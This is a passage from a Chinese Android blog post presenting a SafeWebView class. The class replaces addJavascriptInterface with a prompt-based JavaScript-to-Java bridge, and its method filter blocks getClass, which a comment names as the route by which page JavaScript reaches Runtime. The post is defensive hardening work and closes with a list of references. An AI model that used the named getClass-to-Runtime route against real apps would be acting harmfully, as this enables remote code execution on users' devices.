            // 遍历待注入java对象,生成相应的js对象
            try {
                while (iterator.hasNext()) {
                    Map.Entry<String, Object> entry = iterator.next();
                    String interfaceName = entry.getKey();
                    Object obj = entry.getValue();
                    // 生成相应的js方法
                    createJsMethod(interfaceName, obj, script);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            // End
            script.append("})()");
            return script.toString();
        }
    
        /**
         * 根据待注入的java对象,生成js方法
         *
         * @param interfaceName 对象名
         * @param obj           待注入的java对象
         * @param script        js代码
         */
        private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
            if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
                return;
            }
    
            Class<? extends Object> objClass = obj.getClass();
    
            script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
            if (DEBUG) {
                script.append("    console.log('window." + interfaceName + "_js_interface_name is exist!!');");
            }
    
            script.append("}else {");
            script.append("    window.").append(interfaceName).append("={");
    
            // 通过反射机制,添加java对象的方法
            Method[] methods = objClass.getMethods();
            for (Method method : methods) {
                String methodName = method.getName();
                // 过滤掉Object类的方法,包括getClass()方法,因为在Js中就是通过getClass()方法来得到Runtime实例
                if (filterMethods(methodName)) {
                    continue;
                }
    
                script.append("        ").append(methodName).append(":function(");
                // 添加方法的参数
                int argCount = method.getParameterTypes().length;
                if (argCount > 0) {
                    int maxCount = argCount - 1;
                    for (int i = 0; i < maxCount; ++i) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(argCount - 1);
                }
    
                script.append(") {");
    
                // Add implementation
                if (method.getReturnType() != void.class) {
                    script.append("            return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
                } else {
                    script.append("            prompt('").append(MSG_PROMPT_HEADER).append("'+");
                }
    
                // Begin JSON
                script.append("JSON.stringify({");
                script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
                script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
                script.append(KEY_ARG_ARRAY).append(":[");
                //  添加参数到JSON串中
                if (argCount > 0) {
                    int max = argCount - 1;
                    for (int i = 0; i < max; i++) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(max);
                }
    
                // End JSON
                script.append("]})");
                // End prompt
                script.append(");");
                // End function
                script.append("        }, ");
            }
    
            // End of obj
            script.append("    };");
            // End of if or else
            script.append("}");
        }
    
        /**
         * 检查是否是被过滤的方法
         */
        private boolean filterMethods(String methodName) {
            for (String method : mFilterMethods) {
                if (method.equals(methodName)) {
                    return true;
                }
            }
            return false;
        }
    
        /**
         * 利用反射,调用java对象的方法。
         * <p>
         * 从缓存中取出key=interfaceName的java对象,并调用其methodName方法
         *
         * @param result
         * @param interfaceName 对象名
         * @param methodName    方法名
         * @param args          参数列表
         * @return
         */
        private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
    
            boolean succeed = false;
            final Object obj = mJsInterfaceMap.get(interfaceName);
            if (null == obj) {
                result.cancel();
                return false;
            }
    
            Class<?>[] parameterTypes = null;
            int count = 0;
            if (args != null) {
                count = args.length;
            }
    
            if (count > 0) {
                parameterTypes = new Class[count];
                for (int i = 0; i < count; ++i) {
                    parameterTypes[i] = getClassFromJsonObject(args[i]);
                }
            }
    
            try {
                Method method = obj.getClass().getMethod(methodName, parameterTypes);
                Object returnObj = method.invoke(obj, args); // 执行接口调用
                boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
                String returnValue = isVoid ? "" : returnObj.toString();
                result.confirm(returnValue); // 通过prompt返回调用结果
                succeed = true;
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return succeed;
        }
    
        /**
         * 解析出参数类型
         *
         * @param obj
         * @return
         */
        private Class<?> getClassFromJsonObject(Object obj) {
            Class<?> cls = obj.getClass();
    
            // js对象只支持int boolean string三种类型
            if (cls == Integer.class) {
                cls = Integer.TYPE;
            } else if (cls == Boolean.class) {
                cls = Boolean.TYPE;
            } else {
                cls = String.class;
            }
    
            return cls;
        }
    
        /**
         * 解析JavaScript调用prompt的参数message,提取出对象名、方法名,以及参数列表,再利用反射,调用java对象的方法。
         *
         * @param view
         * @param url
         * @param message      MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["从JS中传递过来的文本!!!"]}
         * @param defaultValue
         * @param result
         * @return
         */
        private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
            String prefix = MSG_PROMPT_HEADER;
            if (!message.startsWith(prefix)) {
                return false;
            }
    
            String jsonStr = message.substring(prefix.length());
            try {
                JSONObject jsonObj = new JSONObject(jsonStr);
                // 对象名称
                String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
                // 方法名称
                String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
                // 参数数组
                JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
                Object[] args = null;
                if (null != argsArray) {
                    int count = argsArray.length();
                    if (count > 0) {
                        args = new Object[count];
    
                        for (int i = 0; i < count; ++i) {
                            Object arg = argsArray.get(i);
                            if (!arg.toString().equals("null")) {
                                args[i] = arg;
                            } else {
                                args[i] = null;
                            }
                        }
                    }
                }
    
                if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
                    return true;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return false;
        }
    
        private class WebChromeClientEx extends WebChromeClient {
            @Override
            public final void onProgressChanged(WebView view, int newProgress) {
                injectJavascriptInterfaces(view);
                super.onProgressChanged(view, newProgress);
            }
    
            @Override
            public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
                if (view instanceof SafeWebView) {
                    if (handleJsInterface(view, url, message, defaultValue, result)) {
                        return true;
                    }
                }
    
                return super.onJsPrompt(view, url, message, defaultValue, result);
            }
    
            @Override
            public final void onReceivedTitle(WebView view, String title) {
                injectJavascriptInterfaces(view);
            }
        }
    
        private class WebViewClientEx extends WebViewClient {
            @Override
            public void onLoadResource(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onLoadResource(view, url);
            }
    
            @Override
            public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
                injectJavascriptInterfaces(view);
                super.doUpdateVisitedHistory(view, url, isReload);
            }
    
            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                injectJavascriptInterfaces(view);
                super.onPageStarted(view, url, favicon);
            }
    
            @Override
            public void onPageFinished(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onPageFinished(view, url);
            }
        }
    }
    这段代码基本是按照上面所描述的情况来写的,修复了上面提到的几个漏洞,这里再描述一下几个需要注意的点:
    • removeUnSafeJavascriptImpl :该函数用来在特定版本删除上面提到的几个 Google 注入的对象;
    • setWebViewClient 和 setWebChromeClient :重写这两个函数用来防止子类使用原生的 WebViewClient 和 WebChromeClient 导致失效;
    • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 几个方法里面调用 injectJavascriptInterfaces 方法来注入生成的 JS 代码;
    • genJavascriptInterfacesString 函数用来生成需要注入的 JS 代码,其中通过 filterMethods 方法过滤掉了上面提到的几个需要过滤的方法;
    • 注入完 JS 之后,Web 端就可以根据方法名调用对应终端注入的这段 JS 函数,然后调用到终端的 onJsPrompt 方法,通过 message 变量将信息传递过来,终端解析出对象、方法名和参数,最后通过反射的方法调用到 Native 层的代码,另外如果需要返回值,则可以通过 JsPromptResult 对象通过 confirm 函数将信息从 Native 层传递给 Web 端,这样就实现了一个完整的调用链。

    引用

    http://group.jobbole.com/26417/?utm_source=android.jobbole.com&utm_medium=sidebar-group-topic
    http://blog.csdn.net/jiangwei0910410003/article/details/52687530
    http://blog.csdn.net/leehong2005/article/details/11808557
    https://github.com/yushiwo/WebViewBugDemo/blob/master/src/com/lee/webviewbug/WebViewEx.java
    http://blog.csdn.net/sk719887916/article/details/52402470
    https://zhuanlan.zhihu.com/p/24202408
    https://github.com/lzyzsd/JsBridge
    http://www.jianshu.com/p/93cea79a2443#
    http://www.codexiu.cn/android/blog/33214/
    https://github.com/pedant/safe-java-js-webview-bridge
    http://blog.sina.com.cn/s/blog_777f9dbb0102v8by.html
    http://www.cnblogs.com/chaoyuehedy/p/5556557.html
    http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/
    https://my.oschina.net/zhibuji/blog/100580
    http://www.cnblogs.com/punkisnotdead/p/5062631.html?utm_source=tuicool&utm_medium=referral

    猜你喜欢

    转载自blog.csdn.net/zhao_zepeng/article/details/55046348